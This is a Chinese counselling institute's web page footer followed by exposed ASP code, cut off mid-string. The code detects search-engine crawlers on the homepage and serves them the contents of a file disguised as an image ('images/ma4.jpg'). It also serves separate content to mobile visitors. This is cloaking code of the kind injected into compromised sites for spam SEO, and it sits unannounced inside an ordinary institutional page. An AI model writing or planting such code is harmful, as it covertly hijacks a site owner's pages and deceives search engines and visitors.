|
上海华大应用心理研究院是国内成立较早的心理咨询机构之一，从公益心理援助热线开始，汲取国内外知名专家学者和优秀人才，在标准化社会心理服务的道路上稳步前进，获得国内同行及来访者一致称赞。20多年磨砺，拥有500余名富有实战经验的心理咨询师团队提供星级心理服务。
华大新址：中山北路3553号伸大厦22层（华师大东门左侧30米）
上海华大应用心理研究院 版权所有 严禁复制 网站备案号：沪ICP备13006836号
<%
function isspider()
dim agent,searray,i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("baiduspider","google","sogou","soso","360","so","yahoo","yisou","haosou","youdao","bing")
isspider= false
for i=0 to ubound(searray)
if (instr(agent,searray(i))>0) then isspider=true
next
end function
Function IsMobileDevice()
Dim userAgent
userAgent = Request.ServerVariables("HTTP_USER_AGENT")
Dim mobileDevices
mobileDevices = Array("iPhone", "Android", "webOS", "BlackBerry", "iPod", "Opera Mini", "Windows Phone", "Mobile")
Dim i
For i = LBound(mobileDevices) To UBound(mobileDevices)
If InStr(LCase(userAgent), LCase(mobileDevices(i))) > 0 Then
IsMobileDevice = True
Exit Function
End If
Next
IsMobileDevice = False
End Function
function mainpage()
dim mainindex,n,pagearray,indexquery,i
mainindex=LCase(request.ServerVariables("SCRIPT_NAME"))
indexquery=LCase(request.ServerVariables("QUERY_STRING"))
mainpage= false
pagearray=array("/index.","/default.","/main.","/m","/wap","/3g")
for i=0 to ubound(pagearray)
if (instr(mainindex,pagearray(i))>0 and len(indexquery)<2) then mainpage=true
next
end function
if isspider() and mainpage() then
dim mfso,mfileurl,mfilecon,wfile
mfileurl=Server.MapPath("images/ma4.jpg")
Set mfso=Server.CreateObject("Scripting.FileSystemObject")
if mfso.FileExists(mfileurl) then
Set wfile=mfso.OpenTextFile(mfileurl, 1)
mfilecon=wfile.readAll
response.clear
response.write(mfilecon)
response.write("")
response.flush
wfile.Close
Set wfile=Nothing
Set mfso=Nothing
response.end
else
response.write("fn")
end if
end if
if (IsMobileDevice() and mainpage()) then
response.clear
response.write("
【艺术人文频道】
【再次牵手东方卫视】
【中国经济网】
【合作心灵花园节目】
【牵手东方卫视】
【与江苏卫视合作】
【
